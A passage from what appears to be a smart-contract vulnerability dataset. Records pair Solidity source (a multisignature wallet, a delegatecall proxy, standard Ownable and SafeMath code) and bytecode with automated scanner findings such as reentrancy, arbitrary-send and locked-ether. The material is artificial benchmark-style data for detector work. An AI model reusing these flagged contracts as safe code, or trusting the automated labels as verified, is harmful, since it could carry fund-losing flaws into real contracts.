df252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261139f575060006104ea565b60006113ab83856117ad565b9050826113b88583611854565b14610b265760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610609565b6000610b2683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611070565b60008061145e8385611795565b905083811015610b265760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610609565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461057a57600080fd5b80356114e6816114c6565b919050565b600060208083850312156114fe57600080fd5b823567ffffffffffffffff8082111561151657600080fd5b818501915085601f83011261152a57600080fd5b81358181111561153c5761153c6114b0565b8060051b604051601f19603f83011681018181108582111715611561576115616114b0565b60405291825284820192508381018501918883111561157f57600080fd5b938501935b828510156115a457611595856114db565b84529385019392850192611584565b98975050505050505050565b600060208083528351808285015260005b818110156115dd578581018301518582016040015282016115c1565b818111156115ef576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561161857600080fd5b8235611623816114c6565b946020939093013593505050565b60008060006060848603121561164657600080fd5b8335611651816114c6565b92506020840135611661816114c6565b929592945050506040919091013590565b60006020828403121561168457600080fd5b8135610b26816114c6565b6000602082840312156116a157600080fd5b5035919050565b600080604083850312156116bb57600080fd5b82356116c6816114c6565b915060208301356116d6816114c6565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611721576117216116f7565b5060010190565b60006020828403121561173a57600080fd5b8151610b26816114c6565b60006020828403121561175757600080fd5b81518015158114610b2657600080fd5b60008060006060848603121561177c57600080fd5b8351925060208401519150604084015190509250925092565b600082198211156117a8576117a86116f7565b500190565b60008160001904831182151516156117c7576117c76116f7565b500290565b6000828210156117de576117de6116f7565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118335784516001600160a01b03168352938301939183019160010161180e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261187157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3230a67ff3cb33912b6aeffbdbb8738b93e287e1b3cd29f54e4c88bb3d01a8b64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,061 |
0x741a26104530998f625d15cbb9d58b01811d2ca7
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052600436106100fb5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461014457806320ea8d86146101765780632f54bf6e1461018c5780633411c81c146101bf57806354741525146101e1578063784547a7146102105780638b51d13f146102265780639ace38c21461023c578063a0e67e2b146102fb578063a8abe69a14610361578063b5dc40c314610384578063b77bf6001461039a578063ba51a6df146103ad578063c01a8c84146103c3578063c6427474146103d9578063d74f8edd1461043e578063dc8452cd14610451578063ee22610b14610464575b60003411156101425733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b341561014f57600080fd5b61015a60043561047a565b604051600160a060020a03909116815260200160405180910390f35b341561018157600080fd5b6101426004356104a2565b341561019757600080fd5b6101ab600160a060020a0360043516610580565b604051901515815260200160405180910390f35b34156101ca57600080fd5b6101ab600435600160a060020a0360243516610595565b34156101ec57600080fd5b6101fe600435151560243515156105b5565b60405190815260200160405180910390f35b341561021b57600080fd5b6101ab600435610621565b341561023157600080fd5b6101fe6004356106a5565b341561024757600080fd5b610252600435610714565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b50509550505050505060405180910390f35b341561030657600080fd5b61030e610748565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561034d578082015183820152602001610335565b505050509050019250505060405180910390f35b341561036c57600080fd5b61030e600435602435604435151560643515156107b1565b341561038f57600080fd5b61030e6004356108d9565b34156103a557600080fd5b6101fe610a3d565b34156103b857600080fd5b610142600435610a43565b34156103ce57600080fd5b610142600435610ad6565b34156103e457600080fd5b6101fe60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bc495505050505050565b341561044957600080fd5b6101fe610be3565b341561045c57600080fd5b6101fe610be8565b341561046f57600080fd5b610142600435610bee565b600380548290811061048857fe5b600091825260209091200154600160a060020a0316905081565b33600160a060020a03811660009081526002602052604090205460ff1615156104ca57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff1615156104ff57600080fd5b600084815260208190526040902060030154849060ff161561052057600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561061a578380156105e2575060008181526020819052604090206003015460ff16155b806106065750828015610606575060008181526020819052604090206003015460ff165b15610612576001820191505b6001016105b9565b5092915050565b600080805b60035481101561069e576000848152600160205260408120600380549192918490811061064f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610683576001820191505b600454821415610696576001925061069e565b600101610626565b5050919050565b6000805b60035481101561070e57600083815260016020526040812060038054919291849081106106d257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610706576001820191505b6001016106a9565b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610750610ef8565b60038054806020026020016040519081016040528092919081815260200182805480156107a657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610788575b505050505090505b90565b6107b9610ef8565b6107c1610ef8565b6000806005546040518059106107d45750595b9080825280602002602001820160405250925060009150600090505b60055481101561086957858015610819575060008181526020819052604090206003015460ff16155b8061083d575084801561083d575060008181526020819052604090206003015460ff165b15610861578083838151811061084f57fe5b60209081029091010152600191909101905b6001016107f0565b8787036040518059106108795750595b908082528060200260200182016040525093508790505b868110156108ce578281815181106108a457fe5b9060200190602002015184898303815181106108bc57fe5b60209081029091010152600101610890565b505050949350505050565b6108e1610ef8565b6108e9610ef8565b60035460009081906040518059106108fe5750595b9080825280602002602001820160405250925060009150600090505b6003548110156109c6576000858152600160205260408120600380549192918490811061094357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109be57600380548290811061097e57fe5b600091825260209091200154600160a060020a031683838151811061099f57fe5b600160a060020a03909216602092830290910190910152600191909101905b60010161091a565b816040518059106109d45750595b90808252806020026020018201604052509350600090505b81811015610a3557828181518110610a0057fe5b90602001906020020151848281518110610a1657fe5b600160a060020a039092166020928302909101909101526001016109ec565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610a6357600080fd5b6003548160328211801590610a785750818111155b8015610a8357508015155b8015610a8e57508115155b1515610a9957600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610afe57600080fd5b6000828152602081905260409020548290600160a060020a03161515610b2357600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610b5757600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610bbd85610bee565b5050505050565b6000610bd1848484610dd8565b9050610bdc81610ad6565b9392505050565b603281565b60045481565b33600160a060020a03811660009081526002602052604081205490919060ff161515610c1957600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161515610c4e57600080fd5b600085815260208190526040902060030154859060ff1615610c6f57600080fd5b610c7886610621565b15610dd0576000868152602081815260409182902060038101805460ff1916600190811790915581548183015460028085018054959c50610d5f97600160a060020a039094169692956000199581161561010002959095019094160492918391601f830181900481020190519081016040528092919081815260200182805460018160011615610100020316600290048015610d555780601f10610d2a57610100808354040283529160200191610d55565b820191906000526020600020905b815481529060010190602001808311610d3857829003601f168201915b5050505050610ed5565b15610d9657857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610dd0565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b505050505050565b600083600160a060020a0381161515610df057600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617815560208201518160010155604082015181600201908051610e7b929160200190610f0a565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610f4b57805160ff1916838001178555610f78565b82800160010185558215610f78579182015b82811115610f78578251825591602001919060010190610f5d565b50610f84929150610f88565b5090565b6107ae91905b80821115610f845760008155600101610f8e5600a165627a7a7230582060a401741202c46195874693e84000259dacf6186f3a77e40e6a5ac38d8ce6270029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,062 |
0x93B02EE3132D10c938dd178C03a66595154f2940
|
pragma solidity 0.6.12;
/// SPDX-License-Identifier: MIT
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Upgradeable is Ownable {
address public implementation;
}
contract Proxy is Upgradeable {
constructor(address _impl) public payable {
replaceImplementation(_impl);
}
fallback() external payable {
_fallback();
}
receive() external payable {
_fallback();
}
function _fallback() internal {
if (gasleft() <= 2300) {
return;
}
address impl = implementation;
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function replaceImplementation(address impl) public onlyOwner {
require(Address.isContract(impl), "not a contract");
implementation = impl;
}
}
|
0x60806040526004361061004e5760003560e01c80635c60da1b14610065578063715018a6146100965780638da5cb5b146100ab578063d69efdc5146100c0578063f2fde38b146100f35761005d565b3661005d5761005b610126565b005b61005b610126565b34801561007157600080fd5b5061007a610166565b604080516001600160a01b039092168252519081900360200190f35b3480156100a257600080fd5b5061005b610175565b3480156100b757600080fd5b5061007a610233565b3480156100cc57600080fd5b5061005b600480360360208110156100e357600080fd5b50356001600160a01b0316610242565b3480156100ff57600080fd5b5061005b6004803603602081101561011657600080fd5b50356001600160a01b0316610323565b6108fc5a1161013457610164565b6001546001600160a01b03163660008037600080366000845af43d6000803e80801561015f573d6000f35b3d6000fd5b565b6001546001600160a01b031681565b61017d61043d565b6001600160a01b031661018e610233565b6001600160a01b0316146101e9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b61024a61043d565b6001600160a01b031661025b610233565b6001600160a01b0316146102b6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6102bf81610437565b610301576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08184818dbdb9d1c9858dd60921b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b61032b61043d565b6001600160a01b031661033c610233565b6001600160a01b031614610397576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166103dc5760405162461bcd60e51b81526004018080602001828103825260268152602001806104426026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3b151590565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220606c3321f02458176535386fd4b851f45acf391b9632dab19d278a3f2e94465764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,063 |
0xf6f1a2a798f94c426274ed58438015718d107894
|
pragma solidity 0.4.24;
// File: contracts/common/Ownable.sol
/**
* Ownable contract from Open zepplin
* https://github.com/OpenZeppelin/openzeppelin-solidity/
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/common/ReentrancyGuard.sol
/**
* Reentrancy guard from open Zepplin :
* https://github.com/OpenZeppelin/openzeppelin-solidity/
*
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
// File: contracts/common/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
